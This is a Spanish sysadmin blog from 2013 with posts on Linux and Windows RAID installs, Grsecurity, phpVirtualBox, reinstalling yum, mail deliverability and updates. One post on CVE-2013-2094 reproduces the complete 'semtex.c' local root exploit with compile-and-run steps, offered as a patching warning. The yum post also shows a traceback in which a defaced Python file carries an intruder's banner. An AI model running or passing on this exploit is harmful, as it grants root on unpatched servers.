+

martes, 29 de octubre de 2013

Instalar Linux con raid1

Bueno, hecho el post de Windows en raid, vamos con la chicha, instalar un linux con raid. No es que sea algo difícil ya que el instalador lo permite, pero hay que entenderlo.

Para hacer el raid, Linux tira del modulo md del kernel. Si ya tuviésemos el Linux instalado tendríamos que comprobar que el modulo esta cargado con la lsmod y si no esta cargado cargarlo con modprobe. Si lo creamos en la instalación, como vamos a hacer ahora, se cargaran por defecto. Empezamos a instalar de normal hasta que lleguemos a la herramienta de osrticionado.

Para crear un raid, primero tenemos que preparar las particiones para ello. En este caso vamos a hacer un participando sencillo, parte para la swap y el resto para el sistema, pero es lo mismo si quisiésemos hacer más particiones. Hay que crear las mismas particiones en cada disco y del mismo tamaño.

Creamos tanto en sda como en sdb (o los discos que toquen) sendas particiones de 4096MB, pero en vez de ponerle de sistema de ficheros swap le ponemos el de raid.

Para la partición raíz, cogemos el resto de espacio en sendos discos y lo mismo, en vez de ponerle la partición de tipo ext3 o ext4, lo ponemos como raid, PERO hay que marcar la opción de crear como partición primaria ya que si no le dará por no arrancar. En el caso de Debian es seleccionar que la particion swap este al final. Tiene que quedar tal que así:


Ahora ya tenemos preparadas las particiones para poder crear el raid. Lo siguiente es crear el raid, ya depende de la distro donde se encuentre, pero es lo mismo. Seleccionamos las dos particiones que hemos creado para el sistema y creamos el raid.










Lo mismo para la swap, aceptamos los cambios y volvemos al particionado de discos. Veremos que tenemos ya preparados los nuevos volúmenes mdX.



Lo siguiente será ya dar el formato que toque a esos discos, swap y ext4 en mi caso. Notese que en Centos se crea a la vez el dispositivo raid y se le da formato.


       

Y listo el pollo, ya tenemos el raid preparado. Seguimos con la instalación de normal y cuando llegue la opción de instalar el grub aceptamos la que nos da (instalarlo en sda).




Y acabamos de instalar.

Al tener instalado el grub solo sobre el sda, si toca que se casque ese disco no va a arrancar el sistema. Cogemos una livecd y arreglamos el grub para que cargue en el sdb. Se podría hacer una vez instalado el sistema, pero no estoy seguro de que se mantenga el grub bien en los dos discos al actualizar el kernel y ante posibles fallos prefiero hacerlo así.

En el caso de usar un fakeraid nos pueden surgir varios problemas. En Debian, Ubuntu y cia, por defecto no lo va a reconocer. En teoría hay que pasarle en el arranque la opción de usar el dmraid pero no lo he probado. En el caso de Centos 5 (rhel 5) no he tenido muchos problemas en general y los suele reconocer, pero en el caso del Centos 6 (rhel 6) hay que asegurarse que el nombre del raid que se crea NO tiene ningún espacio en la ruta, ya que muchos sistemas te dejan ponerle el nombre que quieras. Si se pone con espacios, va a instalar sin problemas pero va a cascar el grub al arrancar.

En esta guía he usado tanto Debian como Centos, pero es extensible al resto de distros. Recordad, particiones el disco seleccionando el sistema de ficheros para raids, crear el raid, formatear el raid.

Ya veremos como regenerar el raid en caso de que pete algún disco.

¡Saludos!

lunes, 28 de octubre de 2013

Instalar Windows 2008 r2 con raid1

Ante la duda de un compañero del trabajo, voy a hacer una breve guía de como instalar un Windows 2008 r2 en un raid1 por software.

En este caso lo hacemos por software ya que usamos diversos tipos de placas base que llevan fakeraid, que no tiene mucha diferencia de eficiencia con un raid por software y nos evitamos problemas de drivers.

Este método no es válido para los Windows 2003 hasta donde recuerdo.

La instalación de Windows se hace de forma normal, con la particularidad de que solo tendremos un disco pinchado. Si tenemos los dos puestos, va a hacer la partición reservada para el sistema en uno y el propio sistema en otro. Podemos aprovechar el primer reinicio del instalador para pinchar otro disco o bien esperamos a que acabe de instalarse, apagamos y lo pinchamos.

Ya con el sistema instalado y el disco conectado, nos vamos a las "Administrador del Servidor" y ahí al "Administrador de Discos". Habilitamos el disco vacío y en el de sistema le damos a crear el raid.



Seguimos los pasos que nos da el wizard...



Y listo, ya tenemos un raid1 por software. Estos pasos son los mismos si queremos hacer un raid0 o un raid5.

En el caso de que tengamos que usar el fakeraid o tengamos la suerte de tener una controladora decente, es simplemente entrar al programa de gestión de discos desde el arranque, crearlos desde ahí e instalar el Windows normalmente, teniendo en un pendrive los drivers a mano si no reconoce el raid.

En otro post vamos a ver como instalar Centos y Debian también en raid, que es un poco más largo.

¡Saludos!

jueves, 5 de septiembre de 2013

Seguiridad en Linux: Grsecurity

Hoy vamos a ver como aplicar el parche Grsecurity a nuestro kernel para aumentar la seguridad de nuestro servidor. Cuando sepa que hace ya hare una entrada explicando más, pero por ahora a instalarlo.

Lo primero que hay que tener en cuenta es que hay que compilar el kernel, cosa que puede llegar a ser un coñazo por las múltiples configuraciones que hay. Lo que voy a hacer es instalar en una Debian 7 el kernel 3.10.10, el ultimo del que hay parche pero hasta donde he visto el proceso es el mismo. Lo primero es descargarse los paquetes del kernel e instalarlos:

wget http://kernel.ubuntu.com/~kernel-ppa/mainline/v3.10.10-saucy/linux-headers-3.10.10-031010-generic_3.10.10-031010.201308291422_amd64.deb
wget http://kernel.ubuntu.com/~kernel-ppa/mainline/v3.10.10-saucy/linux-image-3.10.10-031010-generic_3.10.10-031010.201308291422_amd64.deb
wget http://kernel.ubuntu.com/~kernel-ppa/mainline/v3.10.10-saucy/linux-headers-3.10.10-031010_3.10.10-031010.201308291422_all.deb
dpkg -i *.deb


Una vez reiniciado, ya tenemos el kernel (sin parchear) actualizado. Realmente no hace falta esto, pero ahora veréis el porque.

Lo siguiente que necesitamos es descargar el parche y el código del kernel:

wget http://grsecurity.net/test/grsecurity-2.9.1-3.10.10-201309011630.patch
wget https://www.kernel.org/pub/linux/kernel/v3.x/linux-3.10.10.tar.gz
tar xzvf linux-3.10.10.tar.gz


Antes de seguir, vamos a instalar las dependencias:

apt-get install gcc-4.7-plugin-dev buil-essential paxctl


Ahora que ya tenemos todo preparado, aplicamos el parche y lanzamos el make para preparar el kernel:

cd linux-3.10.10.tar.gz/
Patch -p1 < ../grsecurity-2.9.1-3.10.10-201309011630.patch


Con el parche aplicado, queda compilar:

Make menuconfig


-"Espera ¿me estas diciendo que tengo que revisar TODAS las opciones y poner las que necesite? Que son un huevo..." Pues...

La verdad es que se puede hacer trampas. ¿Recordáis que hemos instalado previamente el kernel con la misma versión que el que queríamos parchear en un paquete con todo configurado? Con el comando make oldconfig lo que hará sera coger las opciones que tenia el kernel instalado y preguntar por las nuevas (buena opción si queremos ir actualizando los kernels a mano cada vez que sale una nueva versión). En este caso como las versiones son las mismas, lo que nos preguntara sera por las opciones del parche :D eso si, no es con menú "bonito" como el anterior. En mi caso, escogí las reglas automáticas para servidores y poco mas. Leer que es cada cosa y elegir.

Una vez hecho el make solo queda instalar el kernel. Hasta aquí los pasos son validos para cualquier distro, pero como estoy usando Debian, voy a crear un .deb para instalar el kernel.

fakeroot make deb-pkg
dpkg -i kernel-gr.deb *


Y listo, solo queda reiniciar y ver que esta todo correcto. En mi caso el único problema que hubo fue que por defecto el grub no cargaba el kernel con el Grsecurity. Simplemente modificamos el /etc/default/grub y recargamos el grub update-grub. En mi caso aparecía como salida al comando un "killed", dado que ya estaba trabajando con el kernel modificado (seleccionándolo manualmente en la carga del sistema). Tuve que permitir la ejecución de algunos programas para que funcionase:

paxctl -Cpemrxs /usr/sbin/grub-probe
paxctl -Cpemrxs /usr/sbin/grub-mkdevicemap
paxctl -Cpemrxs /usr/sbin/grub-setup
update-grub


Y listo. Ya esta configurado y funcionando el kernel con el Grsecutiry. Toca aprender a usarlo y ver para que sirve ;)

Fuentes:
Kernels Ubuntu/Debian/Mint
GrSecutiry
Kernels Linux
HowToForge
Error Grub + GrSecurity

* El nombre del kernel no es ese, pero no tengo ahora la máquina con la que hice las pruebas y no se como lo renombra, pero vamos algo parecido.

miércoles, 4 de septiembre de 2013

GUI Web para VirtualBox

Investigando el tema de poner un virtualbox sin interfaz gráfica, descubrí una GUI Web para controlarlo todo. Básicamente han llevado la interfaz del programa a la web, con casi todas las opciones. Para instalarlo, tendremos que tener un apache corriendo con php:

apt-get install apache2-mpm-prefork apache2-utils apache2.2-bin apache2.2-common apache2 apache2-doc apache2-suexec libapache2-mod-php5 libapr1 libaprutil1 libaprutil1-dbd-sqlite3 libaprutil1-ldap libapr1 php5-common php5-mysql php5-suhosin php-pear wget

En el caso del paquete de php-suhosin, en Debian 7 no está pero no es necesario (más allá de la seguridad).

Para hacer funcionar la web, necesitaremos crear un usuario que será el encargado de crear las maquinas virtuales:

useradd -m vbox -G vboxusers -s /bin/bash
passwd vbox


Luego editamos la configuración del demonio:

nano /etc/default/virtualbox


Y tendrá que tener este contenido "VBOXWEB_USER=vbox". Luego tendremos que crear los scripts para el arranque del servicio e iniciarlo:

update-rc.d vboxweb-service defaults
/etc/init.d/vboxweb-service start


Luego nos quedará descargar los archivos de la web y ponerlos en la carpeta que tengamos configurada. Por defecto suele ser /var/www y si no es el caso o queremos modificarlo, no habría ningún problema.

Descargamos los archivos desde la web http://sourceforge.net/projects/phpvirtualbox/ y los descomprimimos en la raíz de la web que usemos. Tenemos que tener en cuenta que tendremos que bajar la versión correspondiente al VirtualBox que tengamos instalado, en mi caso la 4.1.

Una vez hecho, tendremos que crear y editar el archivo config.php:

cp config.php-example config.php
nano config.php


Y en la variable $password poner la contraseña del usuario que hemos creado para ejecutar todo. Ya sólo nos quedaría entrar a través del navegador en http://www.miweb.tld/phpvirtualbox o en la ruta que lo hayamos instalado (evidentemiente). El usuario será admin y la contraseña admin que podemos cambiar luego desde la web en file > Change password.

Et voilá! Ya está instalado y funcionando sin problemas.

¡Saludos!

Fuente:
HowToForge

 

martes, 3 de septiembre de 2013

Migrar máquina física a un virtual bajo VirtualBox

Voy a intentar migrar el servidor en el que corre el blog a una maquina virtual para intentar aprovechar más el equipo para otros menesteres, pero claro, me da una pereza enorme instalar y configurar todo desde cero y se me ha ocurrido buscar una forma para pasarlo todo a pelo a una maquina virtual.

Para ello he elegido VirtualBox, una herramienta fácil de usar y aunque no sea tan potente (en principio, que no he comparado) como KVM o Xen para lo que quiero bastaría.

Una vez con el vbox instalado y funcionando en otro servidor, tenemos que crear una imagen del disco duro de servidor que queremos migrar. Para ello o bien usamos una live y otro disco duro,  o pinchamos el disco del server viejo cómo secundario, al gusto. La cosa es que no este en uso el disco viejo.

Para hacer la imagen,  usamos a nuestro amigo el dd:

dd if=/dev/sdb of=/tmp/imagen.raw

Cuando acabe,  vamos a necesitar usar el VirtualBox, por lo que necesitaremos pasar la imagen creada al servidor que lo tenga instalado (en caso de que hayamos usando una live). Una vez en el server con vbox:

VBoxManage convertfromraw imagen.raw --format vdi imagen.vdi

Cuando finalice, en teoría debería arrancar sin problemas en el vbox. Si queremos compactar la imagen para que ocupe menos habría que hacer despues:

VBoxManage modifyhd --compact imagen.vdi

Cuando me de tiempo a probarlo, confirmaré si funciona y que problemas dio (si los da, que lo hará).

Ya he probado a importar una máquina (no la del servidor) y no ha dado ningún tipo de problema, lo único si es una máquina de 64 bits recordar que hay que habilitar la virtualización por hardware desde las opciones de la máquina virtual.

¡Saludos!

sábado, 8 de junio de 2013

Cambiar eht1 a eth0 en Centos 6

Hoy he tenido la necesidad de cambiar la NIC de una máquina. Por defecto cuando pones una nueva NIC en un linux, la añade como una nueva y la nombra eth1 (o el que toque). Esto en principio lo he hecho en un Centos 6, no he comprobado si vale en otras distros pero intuyo que sí.

Por evitarme problemas en el entorno de pruebas que estoy montando para el Open Nebula, necesito que todas las tarjetas de red tengan el mismo nombre (no se si es necesario, pero no quiero averiguarlo).

Para cambiar el nombre con el que el sistema reconoce la tarjeta, tenemos que editar el fichero /etc/udev/rules.d/70-persistent-net.rules. Veremos que tenemos dos entradas del tipo:
SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="AA:BB:CC:DD:EE:FF", ATTR{type}=="1", KERNEL=="eth*", NAME="eth0"

Simplemente comentamos o eliminamos las lineas referentes a la eth1 y en ATTR{address}== ponemos la MAC de la nueva tarjeta. Reiniciamos el sistema y listo.

¡Saludos!

jueves, 6 de junio de 2013

Reinstalar YUM

Bueno, visto que lo de la wiki me da una pereza ENORME, voy a contradecirme y a empezar a poner aquí algunas cosillas que tengo pendientes.

Hay veces que por razones asabercuales, el yum se peta. Yo he tenido la ocasión de que me salte esto con cualquier comando de yum que le pase:
# yum update
Traceback (most recent call last):
File "/usr/bin/yum", line 4, in ?
import yum
File "/usr/lib/python2.4/site-packages/yum/__init__.py", line 54, in ?
import transactioninfo
File "/usr/lib/python2.4/site-packages/yum/transactioninfo.py", line 31, in ?
from sqlitesack import YumAvailablePackageSqlite
File "/usr/lib/python2.4/site-packages/yum/sqlitesack.py", line 26, in ?
import yumRepo
File "/usr/lib/python2.4/site-packages/yum/yumRepo.py", line 32, in ?
import sqlitecachec
File "/usr/lib64/python2.4/site-packages/sqlitecachec.py", line 18, in ?
import sqlite
File "/usr/lib64/python2.4/site-packages/sqlite/__init__.py", line 26, in ?
from main import DBAPITypeObject, Cursor, Connection, PgResultSet
File "/usr/lib64/python2.4/site-packages/sqlite/main.py", line 2
<h1><center>1923Turk Grup</h1></center>
^
SyntaxError: invalid syntax

Un error mu rico y del que no he encontrado solución, más allá de reinstalarlo. Para hacerlo, ya que no funciona el propio yum, hay que hacerlo usando el comando rmp y los paquetes necesarios. Para obtenerlos, se hace directamente desde el repositorio de Centos* tal que así:
rpm -Uvh http://vault.centos.org/5.4/os/x86_64/CentOS/gmp-4.1.4-10.el5.x86_64.rpm --force
rpm -Uvh http://vault.centos.org/5.4/os/x86_64/CentOS/readline-5.1-3.el5.x86_64.rpm --force
rpm -Uvh http://vault.centos.org/5.4/os/x86_64/CentOS/python-2.4.3-27.el5.x86_64.rpm --force
rpm -Uvh http://vault.centos.org/5.4/os/x86_64/CentOS/libxml2-2.6.26-2.1.2.8.x86_64.rpm --force
rpm -Uvh http://vault.centos.org/5.4/os/x86_64/CentOS/libxml2-python-2.6.26-2.1.2.8.x86_64.rpm --force
rpm -Uvh http://vault.centos.org/5.4/os/x86_64/CentOS/expat-1.95.8-8.2.1.x86_64.rpm --force
rpm -Uvh http://vault.centos.org/5.4/os/x86_64/CentOS/python-elementtree-1.2.6-5.x86_64.rpm --force
rpm -Uvh http://vault.centos.org/5.4/os/x86_64/CentOS/sqlite-3.3.6-5.x86_64.rpm --force
rpm -Uvh http://vault.centos.org/5.4/os/x86_64/CentOS/python-sqlite-1.1.7-1.2.1.x86_64.rpm --force
rpm -Uvh http://vault.centos.org/5.4/os/x86_64/CentOS/elfutils-libelf-0.137-3.el5.x86_64.rpm --force
rpm --nodeps -Uvh http://vault.centos.org/5.4/os/x86_64/CentOS/elfutils-0.137-3.el5.x86_64.rpm --force
rpm --nodeps -Uvh http://vault.centos.org/5.4/os/x86_64/CentOS/rpm-4.4.2.3-18.el5.x86_64.rpm --force
rpm --nodeps -Uvh http://vault.centos.org/5.4/os/x86_64/CentOS/rpm-python-4.4.2.3-18.el5.x86_64.rpm --force
rpm -Uvh http://vault.centos.org/5.4/os/x86_64/CentOS/m2crypto-0.16-6.el5.6.x86_64.rpm --force
rpm -Uvh http://vault.centos.org/5.4/os/x86_64/CentOS/python-urlgrabber-3.1.0-5.el5.noarch.rpm --force
rpm -Uvh http://vault.centos.org/5.4/os/x86_64/CentOS/yum-metadata-parser-1.1.2-3.el5.centos.x86_64.rpm --force
rpm -Uvh http://vault.centos.org/5.4/os/x86_64/CentOS/python-iniparse-0.2.3-4.el5.noarch.rpm --force
rpm --nodeps -Uvh http://vault.centos.org/5.4/os/x86_64/CentOS/yum-fastestmirror-1.1.16-13.el5.centos.noarch.rpm --force
rpm -Uvh http://vault.centos.org/5.4/os/x86_64/CentOS/yum-3.2.22-20.el5.centos.noarch.rpm --force

Y listo, ya hacemos el yum que queramos y funcionará.

Pues con esto, hasta la siguiente que me pase.

¡Saludos!

*Nota: en mi caso fue con un centos desactualizado (5.4), por lo que he tenido que recurrir a vault.centos.org para que no hubiese problemas con las versiones del sistema. Para un sistema actualizado se puede usar el mirror.centos.org.

sábado, 25 de mayo de 2013

Bug Kenel Linux: CVE-2013-2094

Bueno, aprovecho para comentar el último bug que ha salido para Linux, que es un 1clic2root. Debido a un fallo en el kernel desde la versión 2.6.37 a la 3.8.10 (en Centos a partir del kernel 2.6.32).

Básicamente es descargar o crear el siguiente archivo: fucksheep.org/~sd/warez/semtex.c
/*
* linux 2.6.37-3.x.x x86_64, ~100 LOC
* gcc-4.6 -O2 semtex.c && ./a.out
* 2010 [email protected], salut!
*
* update may 2013:
* seems like centos 2.6.32 backported the perf bug, lol.
* jewgold to 115T6jzGrVMgQ2Nt1Wnua7Ch1EuL9WXT2g if you insist.
*/

#define _GNU_SOURCE 1
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <syscall.h>
#include <stdint.h>
#include <assert.h>

#define BASE 0x380000000
#define SIZE 0x010000000
#define KSIZE 0x2000000
#define AB(x) ((uint64_t)((0xababababLL<<32)^((uint64_t)((x)*313337))))

void fuck() {
int i,j,k;
uint64_t uids[4] = { AB(2), AB(3), AB(4), AB(5) };
uint8_t *current = *(uint8_t **)(((uint64_t)uids) & (-8192));
uint64_t kbase = ((uint64_t)current)>>36;
uint32_t *fixptr = (void*) AB(1);
*fixptr = -1;

for (i=0; i<4000; i+=4) {
uint64_t *p = (void *)&current[i];
uint32_t *t = (void*) p[0];
if ((p[0] != p[1]) || ((p[0]>>36) != kbase)) continue;
for (j=0; j<20; j++) { for (k = 0; k < 8; k++)
if (((uint32_t*)uids)[k] != t[j+k]) goto next;
for (i = 0; i < 8; i++) t[j+i] = 0;
for (i = 0; i < 10; i++) t[j+9+i] = -1;
return;
next:; }
}
}

void sheep(uint32_t off) {
uint64_t buf[10] = { 0x4800000001,off,0,0,0,0x300 };
int fd = syscall(298, buf, 0, -1, -1, 0);
assert(!close(fd));
}

int main() {
uint64_t u,g,needle, kbase, *p; uint8_t *code;
uint32_t *map, j = 5;
int i;
struct {
uint16_t limit;
uint64_t addr;
} __attribute__((packed)) idt;
assert((map = mmap((void*)BASE, SIZE, 3, 0x32, 0,0)) == (void*)BASE);
memset(map, 0, SIZE);
sheep(-1); sheep(-2);
for (i = 0; i < SIZE/4; i++) if (map[i]) {
assert(map[i+1]);
break;
}
assert(i<SIZE/4);
asm ("sidt %0" : "=m" (idt));
kbase = idt.addr & 0xff000000;
u = getuid(); g = getgid();
assert((code = (void*)mmap((void*)kbase, KSIZE, 7, 0x32, 0, 0)) == (void*)kbase);
memset(code, 0x90, KSIZE); code += KSIZE-1024; memcpy(code, &fuck, 1024);
memcpy(code-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf",
printf("2.6.37-3.x x86_64\[email protected] 2010\n") % 27);
setresuid(u,u,u); setresgid(g,g,g);
while (j--) {
needle = AB(j+1);
assert(p = memmem(code, 1024, &needle, 8));
if (!p) continue;
*p = j?((g<<32)|u):(idt.addr + 0x48);
}
sheep(-i + (((idt.addr&0xffffffff)-0x80000000)/4) + 16);
asm("int $0x4"); assert(!setuid(0));
return execl("/bin/bash", "-sh", NULL);
}

Una vez lo tengamos, es tan sencillo como ejecutar como un usuario normal (no root):
gcc -O2 semtex.c
./a.out

Y nos devolverá una shell con acceso root. Resumen: si consiguen acceder con un usuario normal y somos vulnerables, en un segundo consiguen el root y nos joden. Puede que digais que teneis una contraseña irrompible, y será cierto, pero podeis tener un burejo en el Joomla, Drupal, Wordpress de turno y con que metan una simple webshell estamos jodidos.

Las ediciones vulnerables serían:
RHEL 6, Centos 6, Scientific Linux 6, Oracle Linux 6
Debian Wheezy.
Debian Jessie.
Ubuntu 10.04
Ubuntu 12.04
Ubuntu 12.10

Si tienes una de esas versiones, haz un "uname -a" para comprobar la versión del kernel que tienes. Y en última instancia haz la prueba con el exploit.

Las que no tienen un kernel vulnerable serían:
RHEL 4.
RHEL 5.
Fedora 17.
Fedora 18.
Debian Squeeze.
Ubuntu 13.04.

En el caso de Centos 6, si no hemos actualizado nunca, es posible que no tengamos un kernel vulnerable. Por otro lado, haría falta tener instalado el gcc-4.6 para que lo pudiesen compilar, por lo que he leido con el gcc-4.5 no funciona.

A estas alturas el bug está parcheado, por lo que tendremos que hacer un yum update/ apt-get upgrade para que se instale el último kernel y reiniciar la máquina. Es muy importante actualizar, ya sabéis, es mejor un downtime de 5 min a que te revienten la máquina.

¡Saludos!

martes, 30 de abril de 2013

Envios de correos y spam

Hoy un par de apuntes rapidos para todos aquellos con un server y con problemas a la hora de enviar correos.

Hay varias razones que hacen que nuestro correo sea tomado como spam. La primera de ellas, y la mas importante, es que estemos listados en alguna blacklist. Podemos acabar ahí de diversas formas, bien porque realmente hemos mandado spam a traves de una cuenta hackeada, o bien porque hemos hecho un mailing (spam legal) y o bien hemos mandado muchos correos de golpe o bien varios destinatarios nos han marcado el correo como spam (aunque lo hubiesen solicitado). En este caso, despues de solucionar el problema que hubiese, vamos a http://www.mxtoolbox.com y buscamos la ip desde la que sale nuestro correo. Nos mostrara una lista de sitios en los que estamos listados, es ir uno a uno deslistandolos. Esto que a priori parece sencillo puede no serlo tanto ya que hay sitios que te pueden exigir que les pagues o esperes un mes a que se desliste automaticamente. Lo mas rapido es, si se puede, cambiar la ip desde la que se envia el correo y ajustar un par de detalles que comento ahora mismo ya que son otros de los motivos por los que se nos puede tomar como spam.

Otro motivo por el que nos pueden tomar como spam es por no tener bien configuradas las DNS en lo referente al correo. Puede que tengas creado el MX para recibir el correo y las entradas A correspondientes, pero te faltan entradas por crear, al menos tres. Dos de ellas son criticas, y la otra depende del sistema que usen, pero por ejemplo terra lo pide.

Lo primero de todo es crear um PTR, esto lo tendreis que hacer en el DNS donde esten declaradas las ips de vuetro ISP, generalmente el suyo. Un ptr es simplemente la entrada opuesta a una A: es darle a una IP un nombre de dominio. Este nombre en teoria puede ser cualquiera y no tiene porque existir, podeis llamarle miserverpeludito.es por ejemplo, pero no es lo recomendable ya que son los sistemas antispam los que ponen las reglas. Y cada uno tiene las suyas. Para contentar a todos lo que tenemos que poner es el hostname de la maquina, y aqui la tercera entrada, ese hostname tiene que resolver a la ip que manda el correo, por lo que hay que crear una entrada de tipo A en nuestro dominio que sea el hostname. Resumen: ptr, registro A y hostname, todod iguales y resolviendo.

El segundo registro DNS critico que hay que crear se llama SPF, basicamente hay que poner desde que ip enviamos el correo y decir que si no llega desde ahi, es spam. Es un tema complejo para crearlo bien, pero uno que no fallara es: "v=spf1 a mx ip4: ~all". Como es complejo y si no esta bien creado puede dar mucho por saco, cuandi tenga un hueco hare un post explicandolo mas detenidamente.

Hay otros registros que se pueden crear, como el DKIM, inscribirse en whitelists, o comprobar la reputacion de la IP, pero con estas tres entradas en el DNS y comprobando que no estes listado podras mandar correo sin problemas. Una vez explicado el SPF si me acuerdo explico esto ultimo, pero eso si lo tengo mas cogido por los pelos.

¡Saludos!

sábado, 27 de abril de 2013

Cluster Beowulf

Hace unas semanas en una tarde tranquila en el trabajo me dio por mirar formas de clusters que habia por ahi. Un cluster viene a ser un grupo de maquinas que trabajan conjuntamente para ofrecer una solucion a un problema, ultimamente abundan los de virtualizacion para los clouds o los de almacenamiento.

Una de las cosas que mas me gustan es ver (y hacer) que varias maquinas fisicas se vean a efectos practicos como una. En el caso del cloud, puede evitar un corte del servicio haciendo que cuando una maquina fisica se cae, los servicios pasen a ejecutarse en otra sin que nos enteremos. Otro caso es el del almacenamiento, unir varios discos duros de distintas maquinas y que funcione como si fuese uno solo.

Otro uso de los clusters es para la computacion distribuida, en este caso el Beowulf es un ejemplo. Lo que conseguimos con esto es que varias maquinas compartan procesador y memoria para ejecutar una tarea, generalmente aquellas que requieren mucha capacidad de calculo. Para el programa que se ejecute en ese cluster, es como si hubiese una maquina con todas las cpus y la ram y lo tiene a su disposicion.

La bondad de este tipo de cluster es que no necesitas hardware dedicado y carisimo, con maquinas normales puedes hacerlo sin problemas, reduciendo costes en comparacion con otras soluciones. El problema es que para aprovechar esto necesitas que el programa en cuestion este diseñado para este tipo de clusters por lo que las aplicaciones que he encontrado son para calculos en universidades o renderizado 3D.

En cuanto tenga la oportunidad me voy a montar uno, because yes xD y ya investigare que usos se le pueden dar a este tipo de cluster mas allá de lo que he encontrado por ahora (tengo una idea loca en mente que si se pudiese hacer voy a dar saltos de alegría y ya contare para que nadie me copie :P).

Como es mi intencion, una vez montado intentare poner el howto en la wiki.

¡Saludos!

martes, 23 de abril de 2013

Ese gran enemigo: las actualizaciones

Uy, este es un tema que se toma muy a cachondeo por todos, pero realmente es critico. Todos nos quejamos de las actualizaciones: "joer que pesaitos los de M$, hay 10 actualizaciones pendientes... ¿pues sabes que? Otro dia si eso...".

Muchos hemos estado ahí, no nos engañemos. Pero ¿realmente hacemos bien? Sabemos que no.

En las actualizaciones, no solo de Windows, podemos encontrarnos con que han cambiado cosas para mejorar la estabilidad del sistema (o joderlo, mirad una de las ultimas actualizaciones de Windows 7) pero lo importate es que nos meten parches de seguirdad corrigiendo bugs que pueden comprometernos y mucho. Mirar Java si no... Que lleva una racha fina, fina.

Esto es importante en equipos domesticos, pero mas aun en equipos corporativos y servidores. ¿Porque arriesgarnos a que comprometan nuestra red por no actualizar? Si hay algo que intento inculcar a la gente es la ley del minimo esfuerzo y eso, en estas situaciones, implica actualizar cuanto antes incluso reiniciando equipos las veces que haga falta para que luego no te jodan con mas trabajo. "¿Comoor?"

Os pongo un ejemplo, sois webmasters de renombre y teneis un superwordpress como este. Como teneis un super theme incompatible con la vida con nuevas versiones, decidis que es mejor no actualizar ya que, uf, hay que apañar luego el theme y es un curro de pelotas... Lo entiendo, nos gusta llevarnos las pelas y currar poco, yo tambien lo intento. Asi que, como no queremos currar de mas, lo dejamos asi... Una semana, un mes... Oye, que no ha pasado nada, soy un genio.

Lo siguiente que te puede pasar, mes y medio despues, es que tu cliente a media noche te llame porque al entrar a leer ve que en los comentarios le estan ofreciendo viagras. "Que yo soy mu macho y no necesito eso!" te espeta cabreado, y con razon. A la 1 de la mañana, despues de los gritos y con los ojos con legañas, enciendes tu mac air y vas a ver la web. La revisas, vas a esa donde has metido en programita en java pa quedar bien y... Hostia, te acabas de comer un virus en tu mac...

Ya exasperado y tratando de desconectar para pensar que puedes hacer viendo un correo de gatetes con gafas que te han mandado, descubres un aviso de tu ISP de que desde tu servidor se esta mandando spam. "Uffff..." revisas el correo y ves que lo mandan desde una cuenta llamada prueba. "¿Como puede ser eso?... Aaaanda... Si le puse prueba de contraseña y me olvide..." Pero el aviso no acaba ahi, te dicen que tienes archivos en tu wordpress que tambien mandan spam... En este punto, el superwebmaster de wordpress decide que debio hacerse emo, hubiese tendio menos sufrimiento.

¿Y todo esto porque? Por no actualizar a tiempo para no trabajar de mas. ¿Es exagerado lo que pongo aqui? Creerme que no, yo soy de los que envian el aviso de spam al pobre webmaster. Al final lo que toca hacer es borrar todo, instalar un wordpress actualizado teniendo que adaptar el theme (lo que se tenia que haber hecho desde el principio), comerse la oleada de correos devueltos, los gritos del cliente durante la noche sin pegar ojo y el desprestigio por haber dejado que todo esto pasase. Si hubiese actualizado cuando tocaba, hubiese podido apañar el theme con tranquilidad diciendole simplemente al cliente "Oye, que hemos actualizado y se ha dejado de ver la web. Estamos en ello y tardaremos un poco, pero HABIA que hacerlo por seguridad."

¿Moraleja? Haz lo que tienes que hacer bien o trabajaras el doble y jodido. El cuando aplicar las actualizaciones ya depende, pero con un aviso de que se va a hacer pocos se quejan, a fin de cuentas si estan avisados de que no funciona el servicio se van al bar de cañas tranquilos en vez de gritarte.

¡Saludos!

PD: Pongo el ejemplo del webmaster a modo ilustrativo, pero es extensible a todos los que por pereza pasan de actualizar. Si algun webmaster o sysadmin se siente ofendido por el ejemplo al sentirse identificado, te jodes (ya me pasara a mi y me jodere). Para el resto de webmasters y sysadmis por ahi que si hacen su trabajo y para aquellos que han estado ahi y entienden a que me refiero sin molestarse, para todos ellos un cordial saludo y seguid asi.

jueves, 21 de marzo de 2013

Google, Android y Nexus

Volvemos un poco a la carga con el blog. Siguiendo el tema del post anterior, Google y Android, voy a comentar porque, pese a todos los lios que me estan dando desde Google, he cogido un Nexus 4.

Vamos a ponernos en antecedentes, alla por Enero de 2013, el Nexus 4 era una rara avis, podria considerarse dentro del rango de los Pokemon Legendarios. Por problemas aqui y alla, era muy dificil conseguir uno, pero oye, yo compre el mio. ¿Que paso? Nunca lo recibi. Entre la mierda de Chronoexpres (no los recomendare nunca) y la falta de resolucion desde Google a día de hoy ese Nexus esta lo que se dice perdido y a la espera de que me devuelvan las pelas. Ayer, ya cansado de esperar y habiendo visto los nuevos moviles android que llegan (htc one, samsung galaxy s4) me decidi a volver a intentar comprarlo (en principio llega hoy segun la web de Chronoexpres). ¿Y porque coger el Nexus 4 con esos pepinos en camino? Que son de mucho cuidado, oye.

Pues bien, la respuesta es sencilla. Son 300 pavos por un movil que esta casi a la altura de los que llegan y otros que estan, pese a que ya tiene un tiempo a cuestas. ¿Solo por eso? Mmmm... Pues casi que sí, aunque hay otras razones. La principal son las actualizaciones del dispositivo, algo que no muchos valoran. Teniendo en cuenta que es un movil de la gama Nexus y no tener capas de personalizacion extras, prometen actualizaciones "rapidas" por no depender de nadie mas que Google. Y es que eso de las actualizaciones es algo que frustra... De los dos moviles android que he tenido, solo el primero, una Dream, recibio una actualizacion oficial. Cupcake. Solo. 1.5. Por suerte para mi, al ser el primero que salio con Android hubo mucho soporte extraoficial, gracias a la comunidad y en este caso gracias a Cyanogen. A base de roms aguante mas tiempo y pude disfrutar de cosas como la navegacion de Google Maps en ese movil, ya que la ultima version que instale fue la Froyo (2.2) e incluso había Gingerbread si no recuerdo mal.

